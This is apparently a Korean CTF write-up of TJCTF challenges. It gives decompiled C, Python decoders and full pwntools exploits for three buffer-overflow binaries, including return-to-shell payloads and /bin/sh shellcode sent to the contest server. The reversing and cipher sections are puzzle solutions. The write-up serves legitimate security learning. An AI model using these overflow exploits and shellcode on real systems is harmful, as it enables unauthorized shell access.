온라인에서 외국인 혹은 한국인 초보분들과 팀을꾸려서 나가봤는데
다들 생각보다 잘해주셨다.
50등에서 100등까지 밀려났다가,
중간에 누군가 아이디 몇백개를 생성해서, 플래그를 유출시켜서
서버가중단되었다가, 플래그가 바뀐뒤 대회가 다시 진행되었다.
결국 169 등을 하게되었다. (약 600팀참가)
- binary
Tinder
Seashells
OSRS
- rev
Chord Encoder
- crypto
Typewriter
BINARY
Tinder
int main(void)
{
char local_a8 [32];
char local_88 [64];
char local_48 [16];
char local_38 [16];
char local_28 [16];
FILE *local_18;
int local_14;
undefined *local_10;
local_10 = &stack0x00000004;
local_14 = 0;
setup();
puts("Welcome to TJTinder, please register to start matching!");
printf("Name: ");
input(local_28,1.00000000);
printf("Username: ");
input(local_38,1.00000000);
printf("Password: ");
input(local_48,1.00000000);
printf("Tinder Bio: ");
input(local_88,8.00000000);
putchar(10);
if (local_14 == -0x3f2c2ff3) {
printf("Registered \'%s\' to TJTinder successfully!\n",local_38);
puts("Searching for matches...");
sleep(3);
puts("It\'s a match!");
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
puts("Flag File is Missing. Contact a moderator if running on server.");
/* WARNING: Subroutine does not return */
exit(0);
}
fgets(local_a8,0x20,local_18);
printf("Here is your flag: %s",local_a8);
}
else {
printf("Registered \'%s\' to TJTinder successfully!\n",local_38);
puts("Searching for matches...");
sleep(3);
puts("Sorry, no matches found. Try Again!");
}
return 0;
}
name,username,password,tinderbio 를 input 함수로 입력을 받는다.
local_14 변수가 0xc0d3d00d 일때, flag 를 출력해준다.
int input(char *str,float f)
{
size_t sVar1;
char *pcVar2;
fgets(str,(int)ROUND(f * 16.00000000),stdin);
sVar1 = strlen(str);
if (1 < sVar1) {
pcVar2 = strchr(str,10);
if (pcVar2 == (char *)0x0) {
do {
str = (char *)fgetc(stdin);
} while (str != (char *)0xa);
}
else {
sVar1 = strlen(str);
str = str + (sVar1 - 1);
*str = '\0';
}
return (int)str;
}
puts("No input detected. Registration failed.");
/* WARNING: Subroutine does not return */
exit(0);
}
사용자가 정의한 input함수다. float 변수를 인자로 받아, f * 16 을 반올림한값만큼 입력을 받는다.
tinderbio 이외에는 1 * 16 을 반올림한 20만큼 입력을 받는데,
tinderbio 를 8 * 16 을 반올림한 130만큼 입력을 받는다.
tinderbio는 ebp-0x88 (136) 에 위치해있으니,
local_14 변수를 덮을수있다.
local_14변수까지 길이 -> 0x88 - 0x14 = 116
from pwn import *
r=remote('p1.tjctf.org', 8002)
#r=process("./match")
pay=""
pay+='x'*116
pay+=p32(0xc0d3d00d)
r.sendline('name')
r.sendline('username')
r.sendline('password')
r.sendline(pay)
r.interactive()
Seashells
undefined8 main(void)
{
int iVar1;
char local_12 [10];
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Welcome to Sally\'s Seashore Shell Shop");
puts("Would you like a shell?");
gets(local_12);
iVar1 = strcasecmp(local_12,"yes");
if (iVar1 == 0) {
puts("sorry, we are out of stock");
}
else {
puts("why are you even here?");
}
return 0;
}
gets 함수로 입력을 받고, yes 이면 품절되었다고 출력해주고
아니면 왜 여기있냐고 출력한다.
gets 로 입력받으므로, BOF 가 일어난다.
void shell(long param_1)
{
if (param_1 == -0x2152350145414111) {
system("/bin/sh");
}
return;
}
고맙게도 shell을 얻게해주는함수가있다.
인자가 0xDEADCAFEBABEBEEF 이면, 쉘을 실행시켜준다.
64bit 이므로 pop rdi;ret 가젯을 찾아 인자로 넣고 실행시켜주면 문제가 풀리게된다.
하지만 순순히 인자를 줄 내가 아니다.
PIE 가 설정되어있지 않으므로,
쉘을 실행시켜주는 주소로 리턴하면,
조건이 안맞아도 쉘을실행시킬 수 있다.
from pwn import *
r=remote("p1.tjctf.org", 8009)
#r=process('./seashells')
pay=""
pay+='x'*18
pay+=p64(0x4006e3)
r.sendline(pay)
r.interactive()
OSRS
undefined4 main(void)
{
int iVar1;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
iVar1 = get_tree();
if (0 < iVar1) {
puts(*(char **)(trees + iVar1 * 8 + 4));
}
return 0;
}
get_tree() 함수를 실행하고, 반환값이 0보다크다면,
trees 에서 하나를 출력해준다.
int get_tree(void)
{
int iVar1;
char local_110 [256];
int local_10;
puts("Enter a tree type: ");
gets(local_110);
local_10 = 0;
while( true ) {
if (0xc < local_10) {
printf("I don\'t have the tree %d :(\n",local_110);
return 0xffffffff;
}
iVar1 = strcasecmp(*(char **)(trees + local_10 * 8),local_110);
if (iVar1 == 0) break;
local_10 = local_10 + 1;
}
return local_10;
}
gets 로 나무의종류를 입력받으니, BOF 가 발생한다.
이 바이너리에는 PIE, NX 가 적용되어있지않아
BSS 의 주소를 구해 쉘코드입력후 리턴할수있다.
32bit 파일이니,
스택에 bss 주소를 인자로 줘서 gets함수로 리턴한뒤
쉘코드입력 후, bss 주소로 리턴하자.
(NX 가 적용되어있지않기에 bss 로 리턴해
쉘코드를 실행하는것이 가능하다)
from pwn import *
r=remote("p1.tjctf.org",8006)
#r=process("./osrs")
b=ELF("./osrs")
bss=0x8049f70
shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
pay=""
pay+='x'*0x10c
pay+='x'*4
pay+=p32(b.symbols['gets'])
pay+=p32(bss)
pay+=p32(bss)
r.sendline(pay)
r.sendline(shellcode)
r.interactive()
REVERSING
Chord Encoder
chord 와, notes 텍스트파일과, 암호화소스를 준다.
f = open('song.txt').read()
l = {'1':'A', '2':'B', '3':'C', '4':'D', '5':'E', '6':'F', '7':'G'}
chords = {}
for i in open('chords.txt').readlines():
c, n = i.strip().split()
chords[c] = n
s = ''
for i in f:
c1, c2 = hex(ord(i))[2:]
if c1 in l:
c1 = l[c1]
if c2 in l:
c2 = l[c2]
s += chords[c1] + chords[c2]
open('notes.txt', 'w').write(s)
코드를 읽어와서 chords 딕셔너리에 저장한다.
아마 flag 가 적힌 song.txt 에서 값을 하나씩 불러와
16진수값으로 만든뒤, 자리수 하나씩 chords 딕셔너리값을
s 에 추가하고, notes.txt 에 쓴다.
notes.txt 에 정상적으로 chords 값들이 있는걸 보니,
일의자리에 8이나 9는 안오는것같다.
str=['1121', '1121', '1121', '1002', '1121', '0112', '1121', '001', '001', '2100', '001', '0122', '1121', '0112', '001', '020', '001', '1012', '0200', '1011', '001', '001', '1121', '1011', '001', '020', '0200', '1011', '1012', '0112', '0200', '1011', '1121', '1012', '1121', '0112', '1121', '1002', '1121', '1002', '0200', '1011', '1121', '0112', '0200', '1011', '1121', '010', '1121', '0200', '1121', '1002', '1121', '1011', '020', '020', '001', '010']
chords={'0112': 'A', '1121': 'F', '010': 'd', '0122': 'a', '0200': 'E', '2110': 'B', '1011': 'f', '1012': 'C', 'A': '0112', 'C': '1012', 'B': '2110', 'E': '0200', 'D': '020', 'G': '001', 'F': '1121', '0100': 'e', '001': 'G', '000': 'g', '020': 'D', 'a': '0122', 'c': '1002', 'b': '2100', 'e': '0100', 'd': '010', 'g': '0000', 'f': '1011', '2100': 'b', '1002': 'c'}
l={'A':'1','C':'3','B':'2','E':'5','D':'4','G':'7','F':'6'}
flag=''
for i in range(0,len(str),2):
a=chords[str[i]]
b=chords[str[i+1]]
if a in l:
a=l[a]
if b in l:
b=l[b]
n=int(a+b,16)
flag+=(chr(n))
print(flag)
notes.txt 값을 앞에서부터 하나씩 가져와서, chords 에 있으면 값을 갱신하는 소스로 짜봤는데,
0100 001 이렇게 있으면, 010 000 이렇게 파싱해버리기때문에,
수작업으로 note 들을 분리해냈다.
CRYPTOGRAPHY
Typewriter
zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}
이 문자열이 주어진다.
zpezy 는 tjctf 라는걸 알 수 있고,
키보드상의 위치를 확인해보면,
규칙이 보이십니까? c 는 알파벳 3번째글자고, 맨위 왼쪽부터 3번째에 위치해있습니다.
그말인즉슨, 알파벳순서대로 배열되어있는 키보드에 주어진 문자열을 입력하면, flag 를 얻을 수 있습니다.
주어진 문자열을 마음속으로 저 키보드에 입력해봅시다.
tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}
짠
더쉽게하기위해 IDLE 에서 스크립트를 짜봅시다.
>>> a="zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}"
>>> key='qwertyuiopasdfghjklzxcvbnm'
>>> for i in range(26):
a=a.replace(key[i],chr(65+i))
>>> print(a.lower())
tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}
짠